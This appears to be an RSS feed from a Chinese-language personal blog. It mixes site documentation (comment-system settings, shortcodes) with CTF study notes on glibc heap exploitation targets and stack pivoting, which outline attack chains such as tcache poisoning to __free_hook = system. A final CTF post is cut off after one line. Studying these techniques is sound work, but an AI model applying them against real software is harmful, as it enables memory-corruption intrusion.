<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Vesper Vei</title><description>Personal notes, writings, and experiments by Vesper Vei.</description><link>https://goosequill.erina.top/</link><item><title>Goosequill 评论系统配置参数速查</title><link>https://goosequill.erina.top/zh-cn/blog/comments-reference/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/comments-reference/</guid><description>集中整理 Goosequill 评论系统配置项，覆盖 Giscus 和 Waline 两种接入方式。</description><pubDate>Wed, 22 Apr 2026 16:00:00 GMT</pubDate><content:encoded>Goosequill 目前通过 `siteConfig.comments` 支持两种评论提供方：

- `giscus`
- `waline`

同一时间只应配置其中一种。

## 配置结构

在 `src/config.ts` 中设置 `comments`：

```ts
comments: {
  provider: &quot;giscus&quot; | &quot;waline&quot;,
}
```

## Giscus

### 最小示例

```ts
comments: {
  provider: &quot;giscus&quot;,
  repo: &quot;owner/repo&quot;,
  repoId: &quot;R_kgDOExample&quot;,
  category: &quot;Announcements&quot;,
  categoryId: &quot;DIC_kwDOExample&quot;,
}
```

### 参数

| 参数 | 类型 | 必填 | 默认值 | 说明 |
| --- | --- | --- | --- | --- |
| `provider` | `&quot;giscus&quot;` | 是 | — | 选择 Giscus |
| `repo` | `string` | 是 | — | GitHub 仓库，格式为 `owner/name` |
| `repoId` | `string` | 是 | — | Giscus 仓库 ID |
| `category` | `string` | 是 | — | GitHub Discussions 分类名 |
| `categoryId` | `string` | 是 | — | GitHub Discussions 分类 ID |
| `mapping` | `&quot;pathname&quot; \| &quot;url&quot; \| &quot;title&quot; \| &quot;og:title&quot; \| &quot;specific&quot; \| &quot;number&quot;` | 否 | `&quot;pathname&quot;` | 页面与讨论串的映射方式 |
| `strict` | `&quot;0&quot; \| &quot;1&quot;` | 否 | `&quot;0&quot;` | 是否严格匹配映射结果 |
| `reactionsEnabled` | `&quot;0&quot; \| &quot;1&quot;` | 否 | `&quot;1&quot;` | 是否启用评论区反应表情 |
| `emitMetadata` | `&quot;0&quot; \| &quot;1&quot;` | 否 | `&quot;0&quot;` | 是否输出讨论元数据 |
| `inputPosition` | `&quot;top&quot; \| &quot;bottom&quot;` | 否 | `&quot;top&quot;` | 输入框位置 |
| `theme` | `string` | 否 | 仅作兜底 | 明暗主题共用的兜底主题名 |
| `theme_light` | `string` | 否 | `&quot;light&quot;` | 浅色模式下使用的 Giscus 主题 |
| `theme_dark` | `string` | 否 | `&quot;dark&quot;` | 深色模式下使用的 Giscus 主题 |
| `lang` | `string` | 否 | `&quot;en&quot;` | Giscus 界面语言 |
| `loading` | `&quot;lazy&quot; \| &quot;eager&quot;` | 否 | `&quot;lazy&quot;` | 加载策略 |

### 说明

- 在 Goosequill 中，`repo`、`repoId`、`category`、`categoryId` 是硬性必填项。
- Goosequill 会把 Giscus 的主题与站点的 `data-theme` 和系统明暗模式保持同步。
- 如果未设置 `theme_light` 或 `theme_dark`，会先回退到 `theme`，再回退到 `light` 或 `dark`。

## Waline

### 最小示例

```ts
comments: {
  provider: &quot;waline&quot;,
  serverURL: &quot;https://your-waline-server.example.com&quot;,
}
```

### 参数

| 参数 | 类型 | 必填 | 默认值 | 说明 |
| --- | --- | --- | --- | --- |
| `provider` | `&quot;waline&quot;` | 是 | — | 选择 Waline |
| `serverURL` | `string` | 是 | — | Waline 服务端地址 |
| `lang` | `&quot;zh&quot; \| &quot;zh-CN&quot; \| &quot;zh-TW&quot; \| &quot;en&quot; \| &quot;en-US&quot; \| &quot;jp&quot; \| &quot;jp-JP&quot; \| &quot;pt-BR&quot; \| &quot;ru&quot; \| &quot;ru-RU&quot; \| &quot;fr-FR&quot; \| &quot;fr&quot; \| &quot;vi&quot; \| &quot;vi-vn&quot; \| &quot;es&quot; \| &quot;es-MX&quot;` | 否 | `&quot;en&quot;` | Waline 界面语言 |
| `emoji` | `string[] \| false` | 否 | `false` | 表情源列表，或关闭表情 |
| `meta` | `(&quot;nick&quot; \| &quot;mail&quot; \| &quot;link&quot;)[]` | 否 | `[&quot;nick&quot;, &quot;mail&quot;, &quot;link&quot;]` | 表单里显示的字段 |
| `requiredMeta` | `(&quot;nick&quot; \| &quot;mail&quot; \| &quot;link&quot;)[]` | 否 | `[]` | 必填字段 |
| `login` | `&quot;enable&quot; \| &quot;disable&quot; \| &quot;force&quot;` | 否 | `&quot;enable&quot;` | 登录模式 |
| `wordLimit` | `number \| [number, number]` | 否 | `0` | 评论字数限制 |
| `pageSize` | `number` | 否 | `10` | 每页评论数 |
| `search` | `boolean` | 否 | `false` | 是否启用管理端搜索 |
| `reaction` | `boolean \| string[]` | 否 | `false` | 是否启用反应，或自定义反应图片 |
| `pageview` | `boolean` | 否 | `false` | 是否启用阅读量统计 |
| `noCopyright` | `boolean` | 否 | `false` | 是否隐藏 Waline 版权信息 |
| `noRss` | `boolean` | 否 | `false` | 是否关闭 RSS 输出 |

### 说明

- Goosequill 当前使用 `window.location.pathname` 作为 Waline 的页面路径标识。
- 站点主题会被转换成 Waline 的 `dark` 布尔值，并在主题切换时同步更新。
- 除了 `provider` 之外，`serverURL` 是唯一硬性必填项。

## 建议起步配置

如果你只想先跑起来：

- 已经使用 GitHub Discussions，就优先选 Giscus。
- 想自托管后端、希望表单控制更多，就选 Waline。</content:encoded></item><item><title>glibc 堆利用目标速查表</title><link>https://goosequill.erina.top/zh-cn/blog/20260422125838/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/20260422125838/</guid><description>glibc 堆利用目标速查表 的导入笔记</description><pubDate>Wed, 22 Apr 2026 04:58:00 GMT</pubDate><content:encoded>##  glibc 堆利用目标速查表
&lt;progress value=&quot;100&quot; max=&quot;100&quot; style=&quot;width: 100%;&quot;&gt;&lt;/progress&gt;
## 速查表

|glibc 版本|主要特征|常见利用入口|常见目标|你该优先想到什么|
|---|---|---|---|---|
|**2.23**|没有 tcache|fastbin dup, unsorted bin leak, overlap, unlink 类老套路|`__malloc_hook`, `__realloc_hook`, `__free_hook`|**fastbin / fake chunk / hook 老打法**|
|**2.27**|开始有 tcache，但很多题仍混合老套路|tcache poisoning, unsorted leak|`__free_hook`, `__malloc_hook`|**tcache 开始好用，但老思路还常见**|
|**2.29 ~ 2.31**|tcache 很成熟，**还没有 safe-linking**|UAF 改 tcache fd, double free, poisoning|**`__free_hook`**, `__malloc_hook`|**有 UAF 就先想 tcache poisoning → free_hook**|
|**2.32 ~ 2.33**|有 **safe-linking**|tcache/fastbin 仍可用，但 fd 要解保护|`__free_hook` 仍在|**先处理 safe-linking，再想 hook**|
|**2.34+**|`__malloc_hook/__free_hook`被移除|heap primitive 还在，但目标换了|`IO_FILE/FSOP`, `setcontext`, exit handlers, fini_array 等|**别再执着 hook，优先想新目标**|

---

## 你可以这样记

### 1）2.23：老派堆题时代

拿到 2.23，先想到的是：

- fastbin dup
- unsorted bin leak libc
- overlap / unlink
- `__malloc_hook - 0x23`
- `one_gadget`
- `realloc` 配合触发

这一代题目的手感就是：

&gt; **更像在伪造 chunk、伪造 size、卡 allocator 检查。**

所以你之前学的 `__malloc_hook - 0x23` 就很有代表性。

---

### 2）2.31：hook 时代最舒服的版本之一

2.31 很适合练“现代但还不算太难”的堆利用，因为：

- 有 tcache
- 没 safe-linking
- `__free_hook` / `__malloc_hook` 还在

所以如果你有：

- UAF
- double free
- 可控 edit-after-free

那通常优先想：

leak libc  
→ tcache poisoning  
→ __free_hook = system  
→ free(&quot;/bin/sh&quot;)

这是非常典型的一条线。

所以你前面说：

&gt; 2.31 有 UAF 时，打 `__free_hook` 更容易？

**对，通常是这样。**

---

### 3）2.32+：开始不能无脑写 fd 了

2.32 开始，最关键的变化就是：

**safe-linking**

所以你不能再直接：

fd = target

而要处理类似：

fd = target ^ (heap_addr &gt;&gt; 12)

这会让 tcache poisoning 多一层门槛。

所以这类版本里，重点不是“目标选谁”，而是先想：

&gt; **我能不能先解出 heap，能不能正确伪造保护后的 fd？**

---

### 4）2.34+：hook 思路基本退出主舞台

2.34 开始，很多你熟悉的 hook 被移除了。

这时拿到题，你就要立刻切换脑回路：

不要先想：

- `__free_hook`
- `__malloc_hook`

而要先想：

- `IO_FILE` / FSOP
- `_IO_2_1_stderr_` / `_IO_2_1_stdout_`
- `setcontext`
- exit 触发链
- vtable / fini_array / rtld 相关目标

---

## 再给你一个“按 primitive 选目标”的版本

这个更适合比赛里现场判断。

### 如果你有 UAF + glibc 2.31

优先级通常是：

1. `__free_hook -&gt; system`
2. `__malloc_hook -&gt; one_gadget`
3. 其他全局目标

原因：

- tcache poisoning 好打
- `free_hook` 触发简单
- `system(&quot;/bin/sh&quot;)` 约束少

---

### 如果你有 fastbin primitive + glibc 2.23

优先级通常是：

1. `__malloc_hook - 0x23`
2. `__realloc_hook`
3. `__free_hook`
4. 其他 old-school 目标

原因：

- fake chunk 语义天然适配 fastbin 老套路
- `malloc_hook` 附近有成熟打法
- 很多题就是这么出的

---

### 如果你有 arbitrary write，但 hook 不在了

优先级通常切成：

1. `IO_FILE` / FSOP
2. `setcontext + ROP`
3. exit handlers
4. vtable / function pointer 类目标

---

## 最后给你一个特别实用的“拿到题先问自己什么”

以后别先背“这个版本一定打什么”，而是按这个顺序想：

### 第一步：看版本

- 有没有 tcache？
- 有没有 safe-linking？
- hook 还在不在？

### 第二步：看 primitive

- UAF？
- double free？
- off-by-one？
- overlap？
- arbitrary write？

### 第三步：看目标

- 哪个目标最容易写到？
- 哪个目标最好触发？
- 哪个目标约束最少？

---

## 你现在可以这样粗记

### 入门到进阶阶段最常见的版本印象：

- **2.23**：fastbin / `__malloc_hook`
- **2.31**：tcache poisoning / `__free_hook`
- **2.32+**：safe-linking
- **2.34+**：FSOP / 新目标

---

## 对你当前阶段最重要的一句话

你现在已经学到：

- 2.23 老套路
- 2.31 hook 题
- 开始碰到 `IO_FILE`

这条路线其实非常对。  
因为它刚好对应 glibc 堆利用发展的三层：

**老 hook 时代 → tcache 时代 → 后 hook 时代**</content:encoded></item><item><title>Goosequill Shortcodes 全量用法速查</title><link>https://goosequill.erina.top/zh-cn/blog/shortcodes-reference/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/shortcodes-reference/</guid><description>整理 Goosequill 内置 shortcodes 的用途、参数、默认值与示例，方便写作时快速查阅。</description><pubDate>Sun, 19 Apr 2026 16:00:00 GMT</pubDate><content:encoded>目前可用的 shortcodes 如下：

- `Alert`
- `ImageCode`
- `Video`
- `Youtube`
- `Bilibili`
- `Steam`
- `Spotify`
- `CRT`

## 使用方式

在 MDX 中，这些组件已经通过 `ExtendMarkdown.astro` 注入，所以你可以直接写：

```mdx
&lt;Alert type=&quot;note&quot;&gt;Hello&lt;/Alert&gt;
```

无需单独 import。

## 1. `Alert`

用于渲染 GitHub 风格的提示块。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `type` | `&apos;note&apos; \| &apos;tip&apos; \| &apos;important&apos; \| &apos;warning&apos; \| &apos;caution&apos;` | `&apos;note&apos;` | 提示块类型 |

### 示例

```mdx
&lt;Alert type=&quot;note&quot;&gt;
这是一条提示信息。
&lt;/Alert&gt;

&lt;Alert type=&quot;warning&quot;&gt;
这是一条警告信息。
&lt;/Alert&gt;
```

### 说明

- 内容通过默认插槽传入。
- 未传 `type` 时使用 `note`。

## 2. `ImageCode`

用于渲染图片，并附带一组可组合的样式类。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `url` | `string` | — | 原图地址，必填 |
| `url_min` | `string` | `undefined` | 压缩图地址；传入后页面展示压缩图，点击跳转原图 |
| `alt` | `string` | `&apos;&apos;` | 图片替代文本 |
| `full` | `boolean` | `false` | 让图片占满内容宽度 |
| `full_bleed` | `boolean` | `false` | 让图片突破内容区，使用更宽展示 |
| `start` | `boolean` | `false` | 图片靠左浮动 |
| `end` | `boolean` | `false` | 图片靠右浮动 |
| `pixels` | `boolean` | `false` | 使用像素风缩放效果 |
| `transparent` | `boolean` | `false` | 去掉背景式装饰，更适合透明图片 |
| `no_hover` | `boolean` | `false` | 关闭悬停缩放效果 |
| `spoiler` | `boolean` | `false` | 启用剧透遮挡效果 |
| `solid` | `boolean` | `false` | 与 `spoiler` 配合使用，显示更强遮挡 |

### 示例

```mdx
&lt;ImageCode
  url=&quot;/images/example.png&quot;
  alt=&quot;示例图片&quot;
  no_hover=&quot;true&quot;
/&gt;

&lt;ImageCode
  url=&quot;/images/original.png&quot;
  url_min=&quot;/images/preview.png&quot;
  alt=&quot;可点击查看原图&quot;
  full=&quot;true&quot;
/&gt;
```

### 说明

- `solid` 只有在 `spoiler` 为真时才会生效。
- `url_min` 存在时，组件会输出一个包裹图片的链接，点击后打开 `url`。
- `full`、`full_bleed`、`start`、`end` 这些布局类最好按场景选择，不建议同时混用太多。

## 3. `Video`

用于渲染本地或远程视频，同样支持与图片一致的大部分样式类。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `url` | `string` | — | 视频地址，必填 |
| `alt` | `string` | `&apos;&apos;` | 作为 `aria-label` 使用的可访问性文本 |
| `full` | `boolean` | `false` | 占满内容宽度 |
| `full_bleed` | `boolean` | `false` | 更宽展示 |
| `start` | `boolean` | `false` | 靠左浮动 |
| `end` | `boolean` | `false` | 靠右浮动 |
| `pixels` | `boolean` | `false` | 像素风渲染样式 |
| `transparent` | `boolean` | `false` | 透明样式 |
| `spoiler` | `boolean` | `false` | 剧透遮挡 |
| `solid` | `boolean` | `false` | 与 `spoiler` 搭配时增强遮挡 |
| `autoplay` | `boolean` | `false` | 自动播放 |
| `controls` | `boolean` | `false` | 显示控制条 |
| `loop` | `boolean` | `false` | 循环播放 |
| `muted` | `boolean` | `false` | 静音 |
| `playsinline` | `boolean` | `false` | 尽量以内联方式播放 |

### 示例

```mdx
&lt;Video
  url=&quot;/videos/demo.webm&quot;
  alt=&quot;演示视频&quot;
  controls=&quot;true&quot;
/&gt;

&lt;Video
  url=&quot;/videos/hero.webm&quot;
  full_bleed=&quot;true&quot;
  autoplay=&quot;true&quot;
  muted=&quot;true&quot;
  loop=&quot;true&quot;
  playsinline=&quot;true&quot;
/&gt;
```

### 说明

- 组件不会自动推断视频格式，直接把 `url` 填到 `&lt;video src&gt;`。
- `solid` 同样只在 `spoiler` 开启时有意义。
- 与 `ImageCode` 不同，`Video` 不支持 `url_min` 和 `no_hover`。

## 4. `Youtube`

用于嵌入 YouTube 视频，使用 `youtube-nocookie.com` 域名。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `id` | `string` | — | YouTube 视频 ID，必填 |
| `autoplay` | `boolean` | `false` | 是否自动播放 |
| `start` | `number` | `undefined` | 起播秒数 |

### 示例

```mdx
&lt;Youtube id=&quot;0Da8ZhKcNKQ&quot; /&gt;

&lt;Youtube id=&quot;0Da8ZhKcNKQ&quot; autoplay=&quot;true&quot; start={30} /&gt;
```

### 说明

- 生成的嵌入地址格式为：`https://www.youtube-nocookie.com/embed/&lt;id&gt;`。
- 只有在传入参数时才会拼接查询字符串。

## 5. `Bilibili`

用于嵌入 Bilibili 播放器。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `bvid` | `string` | `undefined` | BV 号 |
| `aid` | `string` | `undefined` | AV 号 |
| `cid` | `string` | `undefined` | 资源 ID / 弹幕 ID |
| `page` | `number` | `1` | 分 P 页码 |
| `autoplay` | `boolean` | `false` | 是否自动播放 |

### 示例

```mdx
&lt;Bilibili bvid=&quot;BV1yt4y1Q7SS&quot; /&gt;

&lt;Bilibili
  bvid=&quot;BV1yt4y1Q7SS&quot;
  page={2}
  autoplay=&quot;true&quot;
/&gt;
```

### 说明

- 组件会把已传入的参数拼接到 `//player.bilibili.com/player.html?...`。
- 除了你传入的参数外，还会固定附加 `isOutside=true`。
- `bvid`、`aid`、`cid` 都是可选的，但实际嵌入通常至少应提供 `bvid` 或 `aid`。

## 6. `Spotify`

用于嵌入 Spotify 的专辑、歌单、单曲、播客等内容。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `type` | `&apos;track&apos; \| &apos;album&apos; \| &apos;artist&apos; \| &apos;playlist&apos; \| &apos;episode&apos; \| &apos;show&apos;` | `undefined` | 通用类型写法 |
| `id` | `string` | `undefined` | 与 `type` 搭配使用的内容 ID |
| `track` | `string` | `undefined` | 单曲 ID 简写 |
| `album` | `string` | `undefined` | 专辑 ID 简写 |
| `artist` | `string` | `undefined` | 艺人 ID 简写 |
| `playlist` | `string` | `undefined` | 歌单 ID 简写 |
| `episode` | `string` | `undefined` | 单集播客 ID 简写 |
| `show` | `string` | `undefined` | 播客节目 ID 简写 |
| `height` | `string \| number` | 自动推断 | 自定义 iframe 高度 |

### 示例

```mdx
&lt;Spotify album=&quot;5gDJVilnZpPt8zwBC467UH&quot; /&gt;

&lt;Spotify type=&quot;track&quot; id=&quot;11dFghVXANMlKmJXsNCbNl&quot; /&gt;

&lt;Spotify playlist=&quot;37i9dQZF1DXcBWIGoYBM5M&quot; height={480} /&gt;
```

### 说明

- 可以用两种方式传参：
  - 简写：`album=&quot;...&quot;`、`track=&quot;...&quot;`
  - 通用：`type=&quot;album&quot; id=&quot;...&quot;`
- 如果两种方式同时存在，组件优先使用简写参数。
- 如果既没有简写参数，也没有完整的 `type + id`，组件会直接抛错。
- 默认高度：
  - `track` 为 `152`
  - 其他类型为 `352`

## 7. `Steam`

用于展示 Steam 商店卡片。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `appid` | `string \| number` | — | Steam App ID，必填 |
| `variant` | `&apos;horizontal&apos; \| &apos;vertical&apos;` | `&apos;horizontal&apos;` | 卡片样式 |

### 示例

```mdx
&lt;Steam appid=&quot;1127400&quot; /&gt;

&lt;Steam appid=&quot;730&quot; variant=&quot;vertical&quot; /&gt;
```

### 说明

- 组件会自动生成：
  - 商店链接：`https://store.steampowered.com/app/&lt;appid&gt;/`
  - 横版封面：`header.jpg`
  - 竖版封面：`library_600x900_2x.jpg`
- `vertical` 模式下会给媒体容器写入固定宽度 `200px`。
- 组件本身不请求 Steam API，只是按固定 URL 规则拼接资源地址。

## 8. `CRT`

用于输出带 CRT 风格的代码块容器。

### 参数

| 参数 | 类型 | 默认值 | 说明 |
| --- | --- | --- | --- |
| `code` | `string` | — | 要显示的代码文本，必填 |
| `no_scanlines` | `boolean` | `false` | 是否关闭扫描线效果 |

### 示例

```mdx
&lt;CRT code={`
Hello, CRT
`} /&gt;

&lt;CRT
  no_scanlines=&quot;true&quot;
  code={`
No scanlines here
`}
/&gt;
```

### 说明

- 如果 `code` 的首字符是换行，组件会自动裁掉这个首个换行，方便你在 MDX 里写多行模板字符串。
- `no_scanlines` 为 `false` 时会额外附加 `scanlines` 类。

## 参数选择建议

### 媒体类

- 需要图片缩略图跳原图：优先用 `ImageCode` + `url_min`
- 需要剧透遮挡：使用 `spoiler`，需要更强遮挡再叠加 `solid`
- 需要大图铺满版心：用 `full`
- 需要突破版心：用 `full_bleed`

### 嵌入类

- YouTube：传 `id`
- Bilibili：优先传 `bvid`
- Spotify：优先用简写参数，如 `album=&quot;...&quot;`
- Steam：传 `appid`，再按展示需要选择 `variant`

### 提示与展示类

- 提示块：用 `Alert`
- 复古代码块：用 `CRT`
- 常规代码高亮：直接用 Markdown 代码块，除非你明确想要 CRT 风格</content:encoded></item><item><title>栈迁移利用</title><link>https://goosequill.erina.top/zh-cn/blog/202604183704/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202604183704/</guid><description>栈迁移利用 的导入笔记</description><pubDate>Sat, 18 Apr 2026 03:37:00 GMT</pubDate><content:encoded>##  栈迁移

## 技术概述
栈迁移（Stack Pivoting）是一种在栈溢出利用中极其常见的辅助技术，用来解决一个非常现实的问题：==当前栈帧里可用的溢出空间太小，根本写不下完整的利用链==。
一句话解释就是：当当前栈帧只能覆盖很少几个关键位置，无法直接布置长 [[ROP]] 链时，攻击者会想办法修改栈指针寄存器（`rsp` 或 `esp`），把“程序接下来要使用的栈”强行移动到另一块自己能够充分控制的内存区域，例如 `.bss` 段、堆区，或者栈上的其他位置。  
这样，后续的 `ret`、`pop`、函数调用等行为，都会在这块新的伪造栈上继续进行。

从定位上看，栈迁移并不是直接完成利用目标的终点技术，而是一种 ==扩展利用空间== 的关键手段。它通常不会单独出现，而是和 [[ROP]]、ret2libc、ret2syscall、ret2dlresolve 等技术配合使用。

## 技术原理深度解析
### 核心本质
栈迁移最核心的一句话可以概括为：
==栈在哪里，程序后续基于 `ret` 的执行流就会在哪里。==
这是因为在典型的函数返回过程中，处理器会把当前 `rsp` / `esp` 所指向的位置视为“下一条控制流地址”的来源。  
也就是说，`ret` 指令本质上做的事情，就是从栈顶取出一个地址，然后跳过去执行。

因此，只要能够改变栈指针，让它不再指向当前真实栈帧，而是指向一块攻击者事先布置好的“伪造栈”，那么程序接下来的返回流程就会自动沿着这块新区域展开。  
从这个角度看，栈迁移并不是在“多写一点 payload”，而是在 ==重新定义程序眼中的栈==。

### 为什么需要栈迁移
在很多题目里，漏洞虽然足以覆盖返回地址，但可利用空间却极其有限。  
常见情况是：只能多溢出 `0x10`、`0x18` 或类似长度，刚好够改写：
- Saved `RBP` / `EBP`
- Return Address
但这点空间远远不够容纳一条完整的 [[ROP]] 链，更别说继续控制多个寄存器、布置参数、组织多阶段调用。  
这时就会出现一个很典型的局面：
- 已经具备初步控制流劫持能力
- 但当前栈帧太小，不足以承载真正的利用逻辑
栈迁移的作用，就是先利用这点极小空间完成“切换战场”，再把真正完整的利用链放到另一块更大的可控内存中执行。
所以从利用思路上看，栈迁移解决的问题并不是“如何获得第一次跳转”，而是：

==如何在第一次跳转之后，继续拥有足够大的执行舞台。==
### 程序为什么会配合完成迁移
很多栈迁移题之所以成立，本质上是因为函数返回过程本来就依赖栈指针和栈帧指针。  
最常见的关键指令是 `leave; ret`。
其中：
- [[LEAVE]] 等价于 `mov rsp, rbp; pop rbp;`
- [[RET]] 等价于从当前栈顶弹出返回地址并跳转

这意味着，如果攻击者已经控制了 `rbp`，那么执行 `leave` 时，`rsp` 就会被强行改到攻击者指定的位置；随后再经过一次 `pop rbp` 和 `ret`，**程序就会开始把那块新区域当作真正的栈来使用**。

因此，在很多题目里，栈迁移的本质并不是直接“控制 rsp”，而是通过控制 `rbp`，再借助程序原本就存在的 `leave; ret` 流程，**完成对栈顶位置的重定向**。
## 模式识别
在做题时，如果下面几个信号同时出现，基本就应该优先考虑栈迁移。
### 溢出空间极其有限
这是最明显的信号。 
例如题目里只能溢出 `0x10`、`0x18` 甚至更短的长度，刚好够覆盖 Saved `RBP` 和 `RIP`，之后就没有多余空间继续写长 payload 了。
这种情况下，直接在当前栈帧中*铺开完整 [[ROP]] 链*通常不现实。  
如果继续硬塞，只会发现：
- 能跳一次
- 但跳完以后没有后续链条可走
这往往就是典型的“空间不够，需要迁栈”。
### 存在“第二块”可控区域
栈迁移一定不是无中生有，它的前提是程序里存在另一块更适合作为伪造栈的内存区域。  
常见来源包括：
- 程序在前面已经把用户输入读进 `.bss`
- 某次 `read` / `gets` / `fgets` 把数据写进了堆区
- 程序**允许多轮**输入，其中前一轮可以提前布置数据
- 当前栈上的某个更早位置本身就是可控的
这类区域的共同点在于：==你可以提前往里面放好一整段后续利用链==。  
如果没有这块“第二空间”，那么栈迁移本身也就失去了意义。

### 程序使用了标准栈帧
如果函数结尾存在标准的栈帧回收过程，例如 `leave; ret`，那么它通常就是最天然的栈迁移入口。

这是因为 `leave` 会先执行 `mov rsp, rbp`，也就是直接把栈顶改成当前帧指针的位置；如果攻击者又恰好控制了保存下来的 `rbp`，那么整个迁移过程就会变得非常自然。

因此，当你在反汇编里看到：
- 标准函数序言和结尾
- `leave; ret`
- 或者其他能显式改写 `rsp` / `esp` 的 Gadget

就应该立刻联想到：这题很可能要走栈迁移路线。
## 栈迁移构造方式
栈迁移的核心不是某一条固定写法，而是 *想办法让栈指针落到可控区域*。  
根据题目环境不同，常见的构造方式主要有以下几类。

### 1. 经典双 `leave; ret`
这是最常见、也最有代表性的栈迁移方式，通常建立在对 `rbp` / `ebp` 的控制之上。

它的核心思路是：先利用程序原本函数返回时的**那一次** `leave`，再结合后续链里布置好的**第二次** `leave`，形成一次“接力式”的栈切换。  
第一次切换把程序拉到攻击者准备的伪造栈附近，第二次切换则进一步把执行流稳定地带入那块新区域内部。

这种方式的关键在于两点：
- Saved `RBP` 需要**被改写为一个精心计算过的位置**
- Return Address 需要改成某个 `leave; ret` Gadget
**重点：**
之所以经常要写成 `Target_Address - 8` 或 `Target_Address - 4` 一类形式，本质上是因为 `leave` 里还包含一次 `pop rbp`，这会让栈顶继续向高地址移动一个指针宽度。  
如果不把这个偏移提前算进去，最终 `ret` 取到的位置就会错开，导致迁移失败。

从理解上说，双 `leave; ret` 的精髓不是“背公式”，而是要弄明白：

==`leave` 不只是改 `rsp`，它还会顺手消耗掉一个栈槽位。==
### 2. `pop rsp; ret`
这种方式最直接，也最粗暴。  
如果二进制或其依赖库中存在 `pop rsp; ret` 这样的 Gadget，那么利用会变得非常干脆：只要把它放在返回地址位置，再把后一个栈槽写成目标地址，就能直接把 `rsp` 改到伪造栈上。

它的优点在于逻辑非常直观：
1. 执行 `pop rsp`
2. 把下一个栈槽内容弹进 `rsp`
3. 栈顶瞬间切到目标区域
4. 随后的 `ret` 开始在新栈上继续执行

这种方式的限制也很明显：  
真正可用的 `pop rsp; ret` Gadget 并不总是容易找到，而且某些架构或题目里这类 Gadget 非常稀缺。
因此它虽然是最理想化的栈迁移方式之一，但并不是每题都能依赖。

### 3. 寄存器交换
有些题目中，没有直接控制 `rsp` 的 Gadget，但却存在类似 `xchg rax, rsp; ret`、`xchg esp, eax; ret` 这样的交换指令。  
这时如果某个通用寄存器恰好已经指向可控区域，或者能够先通过其他 Gadget 把它调到目标地址，那么就可以通过寄存器交换实现栈迁移。

这类方式的特点是：
- 对 Gadget 组合要求更高
- 往往要先解决“目标寄存器怎么控制”这个前置问题
- 适合当前溢出空间很小，但寄存器状态又比较有利的场景

它不像 `leave; ret` 那样依赖标准栈帧，而更像是一种 ==借助特殊 Gadget 强行改栈顶== 的思路。  
因此在某些空间极小、返回流程受限的题目里，寄存器交换反而会成为更实用的突破口。

### 4. 栈迁到栈本身
有时题目并没有明显的 `.bss` 区输入机会，也没有理想的堆块可以提前铺链。  
这时仍然可能存在一种特殊思路：把栈再次迁移回当前栈上的另一个可控位置，也就是所谓的“栈迁栈”。

这种做法的关键不在于寻找外部空间，而在于：
- 想办法**泄露当前栈地址**
- **精确定位当前输入缓冲区**在栈上的真实位置
- 再通过 `leave; ret` 或其他迁移方式，把 `rsp` 改到这块已经写好内容的栈区域上

从表面上看，栈还是栈；但从利用本质上说，程序已经不再沿着原本的调用栈正常返回，而是在攻击者重新布置好的栈布局里继续执行。  
这类题目通常对地址计算精度要求更高，因为*一旦偏移判断错误，就会直接落到错误位置。*

## 利用理解重点
学习栈迁移时，最重要的不是死记某种固定模板，而是建立下面这个判断顺序：

1. 当前栈帧的空间够不够放完整链  
2. 有没有第二块足够大的可控区域  
3. 有没有能改动 `rsp` / `esp` 的关键机制  
4. 程序最终能不能顺利在新栈上继续执行

其中，前两个问题决定“要不要迁”，后两个问题决定“能不能迁”。

很多新手一看到 `leave; ret` 就想当然地套模板，但真正稳定的思路应当是：  
先确认为什么当前栈不够用，再确认新栈放在哪里，最后才是选择具体迁移方式。

也就是说，栈迁移本质上是在解决三个问题：
- *空间问题*：当前栈帧太小  
- *落点问题*：新栈应该放在哪  
- *切换问题*：如何把栈顶改过去
只要把这三层想清楚，大部分栈迁移题的结构都会变得非常清晰。

## 常见误区
### 把栈迁移误认为独立终点技术
栈迁移本身通常并不直接完成利用目标。  
它更多只是为后续的 [[ROP]]、ret2libc 或其他调用链创造空间。

所以在理解时，不要把它看成“单独拿 shell 的技术”，而应把它看作 ==为后续利用链让路== 的中间步骤。

### 只记 `leave; ret` 模板，不理解栈变化过程
很多人会机械记忆“Saved `RBP` 要写成某个地址减去 8”之类的经验结论，但一旦题目从 x64 换到 x86，或者栈布局稍有变化，就立刻混乱。

真正该记住的是：
- `leave` 会先把 `rsp` 设为 `rbp`
- 然后再执行一次 `pop rbp`
- 所以栈顶会额外前进一个指针宽度
理解了这个过程，很多看似“模板公式”的细节自然就能自己推出来。

### 只看 Gadget，不看新栈是否真的可用
（ps：可以通过 `vmmap` 看段的权限划分）
有些题目虽然确实存在迁移手段，但如果目标区域本身：
- 没有提前布置好后续链
- 地址不稳定
- 会被后续函数覆盖
- 对齐不正确

那么即使 `rsp` 真切过去了，利用也一样跑不起来。  
所以判断新栈是否可持续使用，和判断能否完成切换本身同样重要。
## 小结
栈迁移的意义在于：当攻击者已经拿到初步控制流劫持能力，但当前栈空间又不足以承载完整利用链时，通过修改 `rsp` / `esp`，把程序后续使用的栈切换到另一块更大的可控区域中，从而继续完成后续利用。

它最核心的理解点不是某种固定 Gadget，而是这句非常重要的话：
==栈顶在哪里，后续的返回控制流就会在哪里。==

也正因为如此，栈迁移几乎可以被看作所有“受限空间下的复杂利用”里最重要的过渡技术之一。  
只要题目同时具备 *溢出空间不足*、*存在第二块可控区域*、*存在可改栈顶的关键机制* 这几个条件，就应当优先考虑这条路线。</content:encoded></item><item><title>[polarisctf]ez-nc</title><link>https://goosequill.erina.top/zh-cn/blog/202604062330/</link><guid isPermaLink="true">https://goosequill.erina.top/zh-cn/blog/202604062330/</guid><description>[polarisctf]ez-nc 的导入笔记</description><pubDate>Mon, 06 Apr 2026 15:30:00 GMT</pubDate><content:encoded>&gt; [!note]
